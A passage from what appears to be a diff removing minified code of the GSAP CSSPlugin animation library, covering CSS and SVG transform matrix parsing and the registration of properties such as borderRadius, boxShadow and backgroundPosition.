2) === "px", g === 0); - y = x + Y.length - } - o["xs" + o.l] += b.substr(y) - } - } - } - if (r.indexOf("=") !== -1) - if (o.data) { - D = o.xs0 + o.data.s; - for (_ = 1; _ < o.l; _++) { - D += o["xs" + _] + o.data["xn" + _] - } - o.e = D + o["xs" + _] - } - if (!o.l) { - o.type = -1; - o.xs0 = o.e - } - return o.xfirst || o - }, - Te = 9; - d = Me.prototype; - d.l = d.pr = 0; - while (--Te > 0) { - d["xn" + Te] = 0; - d["xs" + Te] = "" - } - d.xs0 = ""; - d._next = d._prev = d.xfirst = d.data = d.plugin = d.setRatio = d.rxp = null; - d.appendXtra = function (e, t, i, n, r, a) { - var s = this, - o = s.l; - s["xs" + o] += a && (o || s["xs" + o]) ? " " + e : e || ""; - if (!i) - if (o !== 0 && !s.plugin) { - s["xs" + o] += t + (n || ""); - return s - } - s.l++; - s.type = s.setRatio ? 2 : 1; - s["xs" + s.l] = n || ""; - if (o > 0) { - s.data["xn" + o] = t + i; - s.rxp["xn" + o] = r; - s["xn" + o] = t; - if (!s.plugin) { - s.xfirst = new Me(s, "xn" + o, t, i, s.xfirst || s, 0, s.n, r, s.pr); - s.xfirst.xs0 = 0 - } - return s - } - s.data = { - s: t + i - }; - s.rxp = {}; - s.s = t; - s.c = i; - s.r = r; - return s - }; - var xe = function (e, t) { - t = t || {}; - this.p = t.prefix ? Q(e) || e : e; - u[e] = u[this.p] = this; - this.format = t.formatter || _e(t.defaultValue, t.color, t.collapsible, t.multi); - if (t.parser) { - this.parse = t.parser - } - this.clrs = t.color; - this.multi = t.multi; - this.keyword = t.keyword; - this.dflt = t.defaultValue; - this.pr = t.priority || 0 - }, - Se = I._registerComplexSpecialProp = function (e, t, i) { - if (typeof t !== "object") { - t = { - parser: i - } - } - var n = e.split(","), - r = t.defaultValue, - a, s; - i = i || [r]; - for (a = 0; a < n.length; a++) { - t.prefix = a === 0 && t.prefix; - t.defaultValue = i[a] || r; - s = new xe(n[a], t) - } - }, - Ye = I._registerPluginProp = function (e) { - if (!u[e]) { - var t = e.charAt(0).toUpperCase() + e.substr(1) + "Plugin"; - Se(e, { - parser: function (e, i, r, a, s, o, l) { - var d = n.com.greensock.plugins[t]; - if (!d) { - G("Error: " + t + " js file not loaded."); - return s - } - d._cssRegister(); - return u[r].parse(e, i, r, a, s, o, l) - } - }) - } - }; - d = xe.prototype; - d.parseComplex = function (e, t, i, n, r, a) { - var s = this.keyword, - o, l, u, d, f, c; - if (this.multi) - if (S.test(i) || S.test(t)) { - l = t.replace(S, "|").split("|"); - u = i.replace(S, "|").split("|") - } else if (s) { - l = [t]; - u = [i] - } - if (u) { - d = u.length > l.length ? u.length : l.length; - for (o = 0; o < d; o++) { - t = l[o] = l[o] || this.dflt; - i = u[o] = u[o] || this.dflt; - if (s) { - f = t.indexOf(s); - c = i.indexOf(s); - if (f !== c) { - if (c === -1) { - l[o] = l[o].split(s).join("") - } else if (f === -1) { - l[o] += " " + s - } - } - } - } - t = l.join(", "); - i = u.join(", ") - } - return Le(e, this.p, t, i, this.clrs, this.dflt, n, this.pr, r, a) - }; - d.parse = function (e, t, i, n, r, a, s) { - return this.parseComplex(e.style, this.format(ee(e, this.p, o, false, this.dflt)), this.format(t), r, a) - }; - i.registerSpecialProp = function (e, t, i) { - Se(e, { - parser: function (e, n, r, a, s, o, l) { - var u = new Me(e, r, 0, 0, s, 2, r, false, i); - u.plugin = o; - u.setRatio = t(e, n, a._tween, r); - return u - }, - priority: i - }) - }; - i.useSVGTransformAttr = true; - var De = "scaleX,scaleY,scaleZ,x,y,z,skewX,skewY,rotation,rotationX,rotationY,perspective,xPercent,yPercent".split(","), - Ee = Q("transform"), - Ce = J + "transform", - Pe = Q("transformOrigin"), - Ae = Q("perspective") !== null, - Oe = I.Transform = function () { - this.perspective = parseFloat(i.defaultTransformPerspective) || 0; - this.force3D = i.defaultForce3D === false || !Ae ? false : i.defaultForce3D || "auto" - }, - je = a.SVGElement, - He, Ie = function (e, t, i) { - var n = A.createElementNS("http://www.w3.org/2000/svg", e), - r = /([a-z])([A-Z])/g, - a; - for (a in i) { - n.setAttributeNS(null, a.replace(r, "$1-$2").toLowerCase(), i[a]) - } - t.appendChild(n); - return n - }, - Fe = A.documentElement || {}, - ze = function () { - var e = q || /Android/i.test(F) && !a.chrome, - t, i, n; - if (A.createElementNS && !e) { - t = Ie("svg", Fe); - i = Ie("rect", t, { - width: 100, - height: 50, - x: 100 - }); - n = i.getBoundingClientRect().width; - i.style[Pe] = "50% 50%"; - i.style[Ee] = "scaleX(0.5)"; - e = n === i.getBoundingClientRect().width && !(W && Ae); - Fe.removeChild(t) - } - return e - }(), - Re = function (e, t, n, r, a, s) { - var o = e._gsTransform, - l = $e(e, true), - u, d, f, c, h, m, p, v, _, g, y, b, w, M; - if (o) { - w = o.xOrigin; - M = o.yOrigin - } - if (!r || (u = r.split(" ")).length < 2) { - p = e.getBBox(); - if (p.x === 0 && p.y === 0 && p.width + p.height === 0) { - p = { - x: parseFloat(e.hasAttribute("x") ? e.getAttribute("x") : e.hasAttribute("cx") ? e.getAttribute("cx") : 0) || 0, - y: parseFloat(e.hasAttribute("y") ? e.getAttribute("y") : e.hasAttribute("cy") ? e.getAttribute("cy") : 0) || 0, - width: 0, - height: 0 - } - } - t = le(t).split(" "); - u = [(t[0].indexOf("%") !== -1 ? parseFloat(t[0]) / 100 * p.width : parseFloat(t[0])) + p.x, (t[1].indexOf("%") !== -1 ? parseFloat(t[1]) / 100 * p.height : parseFloat(t[1])) + p.y] - } - n.xOrigin = c = parseFloat(u[0]); - n.yOrigin = h = parseFloat(u[1]); - if (r && l !== qe) { - m = l[0]; - p = l[1]; - v = l[2]; - _ = l[3]; - g = l[4]; - y = l[5]; - b = m * _ - p * v; - if (b) { - d = c * (_ / b) + h * (-v / b) + (v * y - _ * g) / b; - f = c * (-p / b) + h * (m / b) - (m * y - p * g) / b; - c = n.xOrigin = u[0] = d; - h = n.yOrigin = u[1] = f - } - } - if (o) { - if (s) { - n.xOffset = o.xOffset; - n.yOffset = o.yOffset; - o = n - } - if (a || a !== false && i.defaultSmoothOrigin !== false) { - d = c - w; - f = h - M; - o.xOffset += d * l[0] + f * l[2] - d; - o.yOffset += d * l[1] + f * l[3] - f - } else { - o.xOffset = o.yOffset = 0 - } - } - if (!s) { - e.setAttribute("data-svg-origin", u.join(" ")) - } - }, - Ne = function (e) { - var t = O("svg", this.ownerSVGElement && this.ownerSVGElement.getAttribute("xmlns") || "http://www.w3.org/2000/svg"), - i = this.parentNode, - n = this.nextSibling, - r = this.style.cssText, - a; - Fe.appendChild(t); - t.appendChild(this); - this.style.display = "block"; - if (e) { - try { - a = this.getBBox(); - this._originalGetBBox = this.getBBox; - this.getBBox = Ne - } catch (e) {} - } else if (this._originalGetBBox) { - a = this._originalGetBBox() - } - if (n) { - i.insertBefore(this, n) - } else { - i.appendChild(this) - } - Fe.removeChild(t); - this.style.cssText = r; - return a - }, - We = function (e) { - try { - return e.getBBox() - } catch (t) { - return Ne.call(e, true) - } - }, - Be = function (e) { - return !!(je && e.getCTM && (!e.parentNode || e.ownerSVGElement) && We(e)) - }, - qe = [1, 0, 0, 1, 0, 0], - $e = function (e, t) { - var i = e._gsTransform || new Oe, - n = 1e5, - r = e.style, - a, s, o, l, u, d; - if (Ee) { - s = ee(e, Ce, null, true) - } else if (e.currentStyle) { - s = e.currentStyle.filter.match(T); - s = s && s.length === 4 ? [s[0].substr(4), Number(s[2].substr(4)), Number(s[1].substr(4)), s[3].substr(4), i.x || 0, i.y || 0].join(",") : "" - } - a = !s || s === "none" || s === "matrix(1, 0, 0, 1, 0, 0)"; - if (Ee && ((d = !Z(e) || Z(e).display === "none") || !e.parentNode)) { - if (d) { - l = r.display; - r.display = "block" - } - if (!e.parentNode) { - u = 1; - Fe.appendChild(e) - } - s = ee(e, Ce, null, true); - a = !s || s === "none" || s === "matrix(1, 0, 0, 1, 0, 0)"; - if (l) { - r.display = l - } else if (d) { - Je(r, "display") - } - if (u) { - Fe.removeChild(e) - } - } - if (i.svg || e.getCTM && Be(e)) { - if (a && (r[Ee] + "").indexOf("matrix") !== -1) { - s = r[Ee]; - a = 0 - } - o = e.getAttribute("transform"); - if (a && o) { - o = e.transform.baseVal.consolidate().matrix; - s = "matrix(" + o.a + "," + o.b + "," + o.c + "," + o.d + "," + o.e + "," + o.f + ")"; - a = 0 - } - } - if (a) { - return qe - } - o = (s || "").match(f) || []; - Te = o.length; - while (--Te > -1) { - l = Number(o[Te]); - o[Te] = (u = l - (l |= 0)) ? (u * n + (u < 0 ? -.5 : .5) | 0) / n + l : l - } - return t && o.length > 6 ? [o[0], o[1], o[4], o[5], o[12], o[13]] : o - }, - Ve = I.getTransform = function (e, n, r, a) { - if (e._gsTransform && r && !a) { - return e._gsTransform - } - var s = r ? e._gsTransform || new Oe : new Oe, - o = s.scaleX < 0, - l = 2e-5, - u = 1e5, - d = Ae ? parseFloat(ee(e, Pe, n, false, "0 0 0").split(" ")[2]) || s.zOrigin || 0 : 0, - f = parseFloat(i.defaultTransformPerspective) || 0, - c, h, m, p, v, _; - s.svg = !!(e.getCTM && Be(e)); - if (s.svg) { - Re(e, ee(e, Pe, n, false, "50% 50%") + "", s, e.getAttribute("data-svg-origin")); - He = i.useSVGTransformAttr || ze - } - c = $e(e); - if (c !== qe) { - if (c.length === 16) { - var g = c[0], - y = c[1], - b = c[2], - w = c[3], - M = c[4], - k = c[5], - L = c[6], - T = c[7], - x = c[8], - S = c[9], - Y = c[10], - D = c[12], - C = c[13], - P = c[14], - A = c[11], - O = Math.atan2(L, Y), - j, H, I, F, z, R; - if (s.zOrigin) { - P = -s.zOrigin; - D = x * P - c[12]; - C = S * P - c[13]; - P = Y * P + s.zOrigin - c[14] - } - s.rotationX = O * E; - if (O) { - z = Math.cos(-O); - R = Math.sin(-O); - j = M * z + x * R; - H = k * z + S * R; - I = L * z + Y * R; - x = M * -R + x * z; - S = k * -R + S * z; - Y = L * -R + Y * z; - A = T * -R + A * z; - M = j; - k = H; - L = I - } - O = Math.atan2(-b, Y); - s.rotationY = O * E; - if (O) { - z = Math.cos(-O); - R = Math.sin(-O); - j = g * z - x * R; - H = y * z - S * R; - I = b * z - Y * R; - S = y * R + S * z; - Y = b * R + Y * z; - A = w * R + A * z; - g = j; - y = H; - b = I - } - O = Math.atan2(y, g); - s.rotation = O * E; - if (O) { - z = Math.cos(O); - R = Math.sin(O); - j = g * z + y * R; - H = M * z + k * R; - I = x * z + S * R; - y = y * z - g * R; - k = k * z - M * R; - S = S * z - x * R; - g = j; - M = H; - x = I - } - if (s.rotationX && Math.abs(s.rotationX) + Math.abs(s.rotation) > 359.9) { - s.rotationX = s.rotation = 0; - s.rotationY = 180 - s.rotationY - } - O = Math.atan2(M, k); - s.scaleX = (Math.sqrt(g * g + y * y + b * b) * u + .5 | 0) / u; - s.scaleY = (Math.sqrt(k * k + L * L) * u + .5 | 0) / u; - s.scaleZ = (Math.sqrt(x * x + S * S + Y * Y) * u + .5 | 0) / u; - g /= s.scaleX; - M /= s.scaleY; - y /= s.scaleX; - k /= s.scaleY; - if (Math.abs(O) > l) { - s.skewX = O * E; - M = 0; - if (s.skewType !== "simple") { - s.scaleY *= 1 / Math.cos(O) - } - } else { - s.skewX = 0 - } - s.perspective = A ? 1 / (A < 0 ? -A : A) : 0; - s.x = D; - s.y = C; - s.z = P; - if (s.svg) { - s.x -= s.xOrigin - (s.xOrigin * g - s.yOrigin * M); - s.y -= s.yOrigin - (s.yOrigin * y - s.xOrigin * k) - } - } else if (!Ae || a || !c.length || s.x !== c[4] || s.y !== c[5] || !s.rotationX && !s.rotationY) { - var N = c.length >= 6, - W = N ? c[0] : 1, - B = c[1] || 0, - q = c[2] || 0, - $ = N ? c[3] : 1; - s.x = c[4] || 0; - s.y = c[5] || 0; - m = Math.sqrt(W * W + B * B); - p = Math.sqrt($ * $ + q * q); - v = W || B ? Math.atan2(B, W) * E : s.rotation || 0; - _ = q || $ ? Math.atan2(q, $) * E + v : s.skewX || 0; - s.scaleX = m; - s.scaleY = p; - s.rotation = v; - s.skewX = _; - if (Ae) { - s.rotationX = s.rotationY = s.z = 0; - s.perspective = f; - s.scaleZ = 1 - } - if (s.svg) { - s.x -= s.xOrigin - (s.xOrigin * W + s.yOrigin * q); - s.y -= s.yOrigin - (s.xOrigin * B + s.yOrigin * $) - } - } - if (Math.abs(s.skewX) > 90 && Math.abs(s.skewX) < 270) { - if (o) { - s.scaleX *= -1; - s.skewX += s.rotation <= 0 ? 180 : -180; - s.rotation += s.rotation <= 0 ? 180 : -180 - } else { - s.scaleY *= -1; - s.skewX += s.skewX <= 0 ? 180 : -180 - } - } - s.zOrigin = d; - for (h in s) { - if (s[h] < l) - if (s[h] > -l) { - s[h] = 0 - } - } - } - if (r) { - e._gsTransform = s; - if (s.svg) { - if (He && e.style[Ee]) { - t.delayedCall(.001, function () { - Je(e.style, Ee) - }) - } else if (!He && e.getAttribute("transform")) { - t.delayedCall(.001, function () { - e.removeAttribute("transform") - }) - } - } - } - return s - }, - Ge = function (e) { - var t = this.data, - i = -t.rotation * D, - n = i + t.skewX * D, - r = 1e5, - a = (Math.cos(i) * t.scaleX * r | 0) / r, - s = (Math.sin(i) * t.scaleX * r | 0) / r, - o = (Math.sin(n) * -t.scaleY * r | 0) / r, - l = (Math.cos(n) * t.scaleY * r | 0) / r, - u = this.t.style, - d = this.t.currentStyle, - f, c; - if (!d) { - return - } - c = s; - s = -o; - o = -c; - f = d.filter; - u.filter = ""; - var h = this.t.offsetWidth, - m = this.t.offsetHeight, - _ = d.position !== "absolute", - g = "progid:DXImageTransform.Microsoft.Matrix(M11=" + a + ", M12=" + s + ", M21=" + o + ", M22=" + l, - y = t.x + h * t.xPercent / 100, - b = t.y + m * t.yPercent / 100, - w, M; - if (t.ox != null) { - w = (t.oxp ? h * t.ox * .01 : t.ox) - h / 2; - M = (t.oyp ? m * t.oy * .01 : t.oy) - m / 2; - y += w - (w * a + M * s); - b += M - (w * o + M * l) - } - if (!_) { - g += ", sizingMethod='auto expand')" - } else { - w = h / 2; - M = m / 2; - g += ", Dx=" + (w - (w * a + M * s) + y) + ", Dy=" + (M - (w * o + M * l) + b) + ")" - } - if (f.indexOf("DXImageTransform.Microsoft.Matrix(") !== -1) { - u.filter = f.replace(x, g) - } else { - u.filter = g + " " + f - } - if (e === 0 || e === 1) - if (a === 1) - if (s === 0) - if (o === 0) - if (l === 1) - if (!_ || g.indexOf("Dx=0, Dy=0") !== -1) - if (!v.test(f) || parseFloat(RegExp.$1) === 100) - if (f.indexOf("gradient(" && f.indexOf("Alpha")) === -1) { - u.removeAttribute("filter") - } - if (!_) { - var k = q < 8 ? 1 : -1, - L, T, S; - w = t.ieOffsetX || 0; - M = t.ieOffsetY || 0; - t.ieOffsetX = Math.round((h - ((a < 0 ? -a : a) * h + (s < 0 ? -s : s) * m)) / 2 + y); - t.ieOffsetY = Math.round((m - ((l < 0 ? -l : l) * m + (o < 0 ? -o : o) * h)) / 2 + b); - for (Te = 0; Te < 4; Te++) { - T = se[Te]; - L = d[T]; - c = L.indexOf("px") !== -1 ? parseFloat(L) : te(this.t, T, parseFloat(L), L.replace(p, "")) || 0; - if (c !== t[T]) { - S = Te < 2 ? -t.ieOffsetX : -t.ieOffsetY - } else { - S = Te < 2 ? w - t.ieOffsetX : M - t.ieOffsetY - } - u[T] = (t[T] = Math.round(c - S * (Te === 0 || Te === 2 ? 1 : k))) + "px" - } - } - }, - Ue = I.set3DTransformRatio = I.setTransformRatio = function (e) { - var t = this.data, - i = this.t.style, - n = t.rotation, - r = t.rotationX, - a = t.rotationY, - s = t.scaleX, - o = t.scaleY, - l = t.scaleZ, - u = t.x, - d = t.y, - f = t.z, - c = t.svg, - h = t.perspective, - m = t.force3D, - p = t.skewY, - v = t.skewX, - _, g, y, b, w, M, k, L, T, x, S, Y, E, C, P, A, O, j, H, I, F, z, R; - if (p) { - v += p; - n += p - } - if (((e === 1 || e === 0) && m === "auto" && (this.tween._totalTime === this.tween._totalDuration || !this.tween._totalTime) || !m) && !f && !h && !a && !r && l === 1 || He && c || !Ae) { - if (n || v || c) { - n *= D; - z = v * D; - R = 1e5; - g = Math.cos(n) * s; - w = Math.sin(n) * s; - y = Math.sin(n - z) * -o; - M = Math.cos(n - z) * o; - if (z && t.skewType === "simple") { - _ = Math.tan(z - p * D); - _ = Math.sqrt(1 + _ * _); - y *= _; - M *= _; - if (p) { - _ = Math.tan(p * D); - _ = Math.sqrt(1 + _ * _); - g *= _; - w *= _ - } - } - if (c) { - u += t.xOrigin - (t.xOrigin * g + t.yOrigin * y) + t.xOffset; - d += t.yOrigin - (t.xOrigin * w + t.yOrigin * M) + t.yOffset; - if (He && (t.xPercent || t.yPercent)) { - P = this.t.getBBox(); - u += t.xPercent * .01 * P.width; - d += t.yPercent * .01 * P.height - } - P = 1e-6; - if (u < P) - if (u > -P) { - u = 0 - } - if (d < P) - if (d > -P) { - d = 0 - } - } - H = (g * R | 0) / R + "," + (w * R | 0) / R + "," + (y * R | 0) / R + "," + (M * R | 0) / R + "," + u + "," + d + ")"; - if (c && He) { - this.t.setAttribute("transform", "matrix(" + H) - } else { - i[Ee] = (t.xPercent || t.yPercent ? "translate(" + t.xPercent + "%," + t.yPercent + "%) matrix(" : "matrix(") + H - } - } else { - i[Ee] = (t.xPercent || t.yPercent ? "translate(" + t.xPercent + "%," + t.yPercent + "%) matrix(" : "matrix(") + s + ",0,0," + o + "," + u + "," + d + ")" - } - return - } - if (W) { - P = 1e-4; - if (s < P && s > -P) { - s = l = 2e-5 - } - if (o < P && o > -P) { - o = l = 2e-5 - } - if (h && !t.z && !t.rotationX && !t.rotationY) { - h = 0 - } - } - if (n || v) { - n *= D; - A = g = Math.cos(n); - O = w = Math.sin(n); - if (v) { - n -= v * D; - A = Math.cos(n); - O = Math.sin(n); - if (t.skewType === "simple") { - _ = Math.tan((v - p) * D); - _ = Math.sqrt(1 + _ * _); - A *= _; - O *= _; - if (t.skewY) { - _ = Math.tan(p * D); - _ = Math.sqrt(1 + _ * _); - g *= _; - w *= _ - } - } - } - y = -O; - M = A - } else if (!a && !r && l === 1 && !h && !c) { - i[Ee] = (t.xPercent || t.yPercent ? "translate(" + t.xPercent + "%," + t.yPercent + "%) translate3d(" : "translate3d(") + u + "px," + d + "px," + f + "px)" + (s !== 1 || o !== 1 ? " scale(" + s + "," + o + ")" : ""); - return - } else { - g = M = 1; - y = w = 0 - } - x = 1; - b = k = L = T = S = Y = 0; - E = h ? -1 / h : 0; - C = t.zOrigin; - P = 1e-6; - I = ","; - F = "0"; - n = a * D; - if (n) { - A = Math.cos(n); - O = Math.sin(n); - L = -O; - S = E * -O; - b = g * O; - k = w * O; - x = A; - E *= A; - g *= A; - w *= A - } - n = r * D; - if (n) { - A = Math.cos(n); - O = Math.sin(n); - _ = y * A + b * O; - j = M * A + k * O; - T = x * O; - Y = E * O; - b = y * -O + b * A; - k = M * -O + k * A; - x = x * A; - E = E * A; - y = _; - M = j - } - if (l !== 1) { - b *= l; - k *= l; - x *= l; - E *= l - } - if (o !== 1) { - y *= o; - M *= o; - T *= o; - Y *= o - } - if (s !== 1) { - g *= s; - w *= s; - L *= s; - S *= s - } - if (C || c) { - if (C) { - u += b * -C; - d += k * -C; - f += x * -C + C - } - if (c) { - u += t.xOrigin - (t.xOrigin * g + t.yOrigin * y) + t.xOffset; - d += t.yOrigin - (t.xOrigin * w + t.yOrigin * M) + t.yOffset - } - if (u < P && u > -P) { - u = F - } - if (d < P && d > -P) { - d = F - } - if (f < P && f > -P) { - f = 0 - } - } - H = t.xPercent || t.yPercent ? "translate(" + t.xPercent + "%," + t.yPercent + "%) matrix3d(" : "matrix3d("; - H += (g < P && g > -P ? F : g) + I + (w < P && w > -P ? F : w) + I + (L < P && L > -P ? F : L); - H += I + (S < P && S > -P ? F : S) + I + (y < P && y > -P ? F : y) + I + (M < P && M > -P ? F : M); - if (r || a || l !== 1) { - H += I + (T < P && T > -P ? F : T) + I + (Y < P && Y > -P ? F : Y) + I + (b < P && b > -P ? F : b); - H += I + (k < P && k > -P ? F : k) + I + (x < P && x > -P ? F : x) + I + (E < P && E > -P ? F : E) + I - } else { - H += ",0,0,0,0,1,0," - } - H += u + I + d + I + f + I + (h ? 1 + -f / h : 1) + ")"; - i[Ee] = H - }; - d = Oe.prototype; - d.x = d.y = d.z = d.skewX = d.skewY = d.rotation = d.rotationX = d.rotationY = d.zOrigin = d.xPercent = d.yPercent = d.xOffset = d.yOffset = 0; - d.scaleX = d.scaleY = d.scaleZ = 1; - Se("transform,scale,scaleX,scaleY,scaleZ,x,y,z,rotation,rotationX,rotationY,rotationZ,skewX,skewY,shortRotation,shortRotationX,shortRotationY,shortRotationZ,transformOrigin,svgOrigin,transformPerspective,directionalRotation,parseTransform,force3D,skewType,xPercent,yPercent,smoothOrigin", { - parser: function (e, t, n, r, a, s, l) { - if (r._lastParsedTransform === l) { - return a - } - r._lastParsedTransform = l; - var u = l.scale && typeof l.scale === "function" ? l.scale : 0, - d; - if (typeof l[n] === "function") { - d = l[n]; - l[n] = t - } - if (u) { - l.scale = u(X, e) - } - var f = e._gsTransform, - c = e.style, - h = 1e-6, - m = De.length, - p = l, - v = {}, - _ = "transformOrigin", - g = Ve(e, o, true, p.parseTransform), - y = p.transform && (typeof p.transform === "function" ? p.transform(X, U) : p.transform), - b, w, M, k, L, T, x, S, Y; - g.skewType = p.skewType || g.skewType || i.defaultSkewType; - r._transform = g; - if (y && typeof y === "string" && Ee) { - w = j.style; - w[Ee] = y; - w.display = "block"; - w.position = "absolute"; - A.body.appendChild(j); - b = Ve(j, null, false); - if (g.skewType === "simple") { - b.scaleY *= Math.cos(b.skewX * D) - } - if (g.svg) { - T = g.xOrigin; - x = g.yOrigin; - b.x -= g.xOffset; - b.y -= g.yOffset; - if (p.transformOrigin || p.svgOrigin) { - y = {}; - Re(e, le(p.transformOrigin), y, p.svgOrigin, p.smoothOrigin, true); - T = y.xOrigin; - x = y.yOrigin; - b.x -= y.xOffset - g.xOffset; - b.y -= y.yOffset - g.yOffset - } - if (T || x) { - S = $e(j, true); - b.x -= T - (T * S[0] + x * S[2]); - b.y -= x - (T * S[1] + x * S[3]) - } - } - A.body.removeChild(j); - if (!b.perspective) { - b.perspective = g.perspective - } - if (p.xPercent != null) { - b.xPercent = de(p.xPercent, g.xPercent) - } - if (p.yPercent != null) { - b.yPercent = de(p.yPercent, g.yPercent) - } - } else if (typeof p === "object") { - b = { - scaleX: de(p.scaleX != null ? p.scaleX : p.scale, g.scaleX), - scaleY: de(p.scaleY != null ? p.scaleY : p.scale, g.scaleY), - scaleZ: de(p.scaleZ, g.scaleZ), - x: de(p.x, g.x), - y: de(p.y, g.y), - z: de(p.z, g.z), - xPercent: de(p.xPercent, g.xPercent), - yPercent: de(p.yPercent, g.yPercent), - perspective: de(p.transformPerspective, g.perspective) - }; - L = p.directionalRotation; - if (L != null) { - if (typeof L === "object") { - for (w in L) { - p[w] = L[w] - } - } else { - p.rotation = L - } - } - if (typeof p.x === "string" && p.x.indexOf("%") !== -1) { - b.x = 0; - b.xPercent = de(p.x, g.xPercent) - } - if (typeof p.y === "string" && p.y.indexOf("%") !== -1) { - b.y = 0; - b.yPercent = de(p.y, g.yPercent) - } - b.rotation = fe("rotation" in p ? p.rotation : "shortRotation" in p ? p.shortRotation + "_short" : "rotationZ" in p ? p.rotationZ : g.rotation, g.rotation, "rotation", v); - if (Ae) { - b.rotationX = fe("rotationX" in p ? p.rotationX : "shortRotationX" in p ? p.shortRotationX + "_short" : g.rotationX || 0, g.rotationX, "rotationX", v); - b.rotationY = fe("rotationY" in p ? p.rotationY : "shortRotationY" in p ? p.shortRotationY + "_short" : g.rotationY || 0, g.rotationY, "rotationY", v) - } - b.skewX = fe(p.skewX, g.skewX); - b.skewY = fe(p.skewY, g.skewY) - } - if (Ae && p.force3D != null) { - g.force3D = p.force3D; - k = true - } - M = g.force3D || g.z || g.rotationX || g.rotationY || b.z || b.rotationX || b.rotationY || b.perspective; - if (!M && p.scale != null) { - b.scaleZ = 1 - } - while (--m > -1) { - Y = De[m]; - y = b[Y] - g[Y]; - if (y > h || y < -h || p[Y] != null || C[Y] != null) { - k = true; - a = new Me(g, Y, g[Y], y, a); - if (Y in v) { - a.e = v[Y] - } - a.xs0 = 0; - a.plugin = s; - r._overwriteProps.push(a.n) - } - } - y = p.transformOrigin; - if (g.svg && (y || p.svgOrigin)) { - T = g.xOffset; - x = g.yOffset; - Re(e, le(y), b, p.svgOrigin, p.smoothOrigin); - a = ke(g, "xOrigin", (f ? g : b).xOrigin, b.xOrigin, a, _); - a = ke(g, "yOrigin", (f ? g : b).yOrigin, b.yOrigin, a, _); - if (T !== g.xOffset || x !== g.yOffset) { - a = ke(g, "xOffset", f ? T : g.xOffset, g.xOffset, a, _); - a = ke(g, "yOffset", f ? x : g.yOffset, g.yOffset, a, _) - } - y = "0px 0px" - } - if (y || Ae && M && g.zOrigin) { - if (Ee) { - k = true; - Y = Pe; - y = (y || ee(e, Y, o, false, "50% 50%")) + ""; - a = new Me(c, Y, 0, 0, a, -1, _); - a.b = c[Y]; - a.plugin = s; - if (Ae) { - w = g.zOrigin; - y = y.split(" "); - g.zOrigin = (y.length > 2 && !(w !== 0 && y[2] === "0px") ? parseFloat(y[2]) : w) || 0; - a.xs0 = a.e = y[0] + " " + (y[1] || "50%") + " 0px"; - a = new Me(g, "zOrigin", 0, 0, a, -1, a.n); - a.b = w; - a.xs0 = a.e = g.zOrigin - } else { - a.xs0 = a.e = y - } - } else { - le(y + "", g) - } - } - if (k) { - r._transformType = !(g.svg && He) && (M || this._transformType === 3) ? 3 : 2 - } - if (d) { - l[n] = d - } - if (u) { - l.scale = u - } - return a - }, - prefix: true - }); - Se("boxShadow", { - defaultValue: "0px 0px 0px 0px #999", - prefix: true, - color: true, - multi: true, - keyword: "inset" - }); - Se("borderRadius", { - defaultValue: "0px", - parser: function (e, t, i, n, r, a) { - t = this.format(t); - var l = ["borderTopLeftRadius", "borderTopRightRadius", "borderBottomRightRadius", "borderBottomLeftRadius"], - u = e.style, - d, f, c, h, m, p, v, _, g, y, b, w, M, k, L, T; - g = parseFloat(e.offsetWidth); - y = parseFloat(e.offsetHeight); - d = t.split(" "); - for (f = 0; f < l.length; f++) { - if (this.p.indexOf("border")) { - l[f] = Q(l[f]) - } - m = h = ee(e, l[f], o, false, "0px"); - if (m.indexOf(" ") !== -1) { - h = m.split(" "); - m = h[0]; - h = h[1] - } - p = c = d[f]; - v = parseFloat(m); - w = m.substr((v + "").length); - M = p.charAt(1) === "="; - if (M) { - _ = parseInt(p.charAt(0) + "1", 10); - p = p.substr(2); - _ *= parseFloat(p); - b = p.substr((_ + "").length - (_ < 0 ? 1 : 0)) || "" - } else { - _ = parseFloat(p); - b = p.substr((_ + "").length) - } - if (b === "") { - b = s[i] || w - } - if (b !== w) { - k = te(e, "borderLeft", v, w); - L = te(e, "borderTop", v, w); - if (b === "%") { - m = k / g * 100 + "%"; - h = L / y * 100 + "%" - } else if (b === "em") { - T = te(e, "borderLeft", 1, "em"); - m = k / T + "em"; - h = L / T + "em" - } else { - m = k + "px"; - h = L + "px" - } - if (M) { - p = parseFloat(m) + _ + b; - c = parseFloat(h) + _ + b - } - } - r = Le(u, l[f], m + " " + h, p + " " + c, false, "0px", r) - } - return r - }, - prefix: true, - formatter: _e("0px 0px 0px 0px", false, true) - }); - Se("borderBottomLeftRadius,borderBottomRightRadius,borderTopLeftRadius,borderTopRightRadius", { - defaultValue: "0px", - parser: function (e, t, i, n, r, a) { - return Le(e.style, i, this.format(ee(e, i, o, false, "0px 0px")), this.format(t), false, "0px", r) - }, - prefix: true, - formatter: _e("0px 0px", false, true) - }); - Se("backgroundPosition", { - defaultValue: "0 0", - parser: function (e, t, i, n, r, a) { - var s = "background-position", - l = o || Z(e, null), - u = this.format((l ? q ? l.getPropertyValue(s + "-x") + " " + l.getPropertyValue(s + "-y") : l.getPropertyValue(s) : e.currentStyle.backgroundPositionX + " " + e.currentStyle.backgroundPositionY) || "0 0"), - d = this.format(t), - f, c, h, m, p, v; - if (u.indexOf("%") !== -1 !== (d.indexOf("%") !== -1) && d.split(",").length < 2) { - v = ee(e, "backgroundImage").replace(M, ""); - if (v && v !== "none") { - f = u.split(" "); - c = d.split(" "); - H.setAttribute("src", v); - h = 2; - while (--h > -1) { - u = f[h]; - m = u.indexOf("%") !== -1; - if (m !== (c[h].indexOf("%") !== -1)) { - p = h === 0 ? e.offsetWidth - H.width : e.offsetHeight - H.height; - f[h] = m ? parseFloat(u) / 100 * p + "px" : parseFloat(u) / p * 100 + "%" - } - } - u = f.join(" ") - } - } - return this.parseComplex(e.style, u, d, r, a) - }, - formatter: le - }); - Se("backgroundSize", { - defaultValue: "0 0", - formatter: function (e) { - e += ""; - return le(e.indexOf(" ") === -1 ? e + " " + e : e) - } - }); - Se("perspective", { - defaultValue: "0px", - prefix: true - }); - Se("perspectiveOrigin", { - defaultValue: "50% 50%", - prefix: true - }); - Se("transformStyle", { - prefix: true - }); - Se("backfaceVisibility", { - prefix: true - }); - Se("userSelect", { - prefix: true - }); - Se("margin", { - parser: ge("marginTop,marginRight,marginBottom,marginLeft") - }); - Se("padding", { - parser: ge("paddingTop,paddingRight,paddingBottom,paddingLeft") - }); - Se("clip", { - defaultValue: "rect(0px,0px,0px,0px)", - parser: function (e, t, i, n, r, a) { - var s, l, u; - if (q < 9) { - l = e.currentStyle; - u = q < 8 ? " " : ","; - s = "rect(" + l.clipTop + u + l.clipRight + u + l.clipBottom + u + l.clipLeft + ")"; - 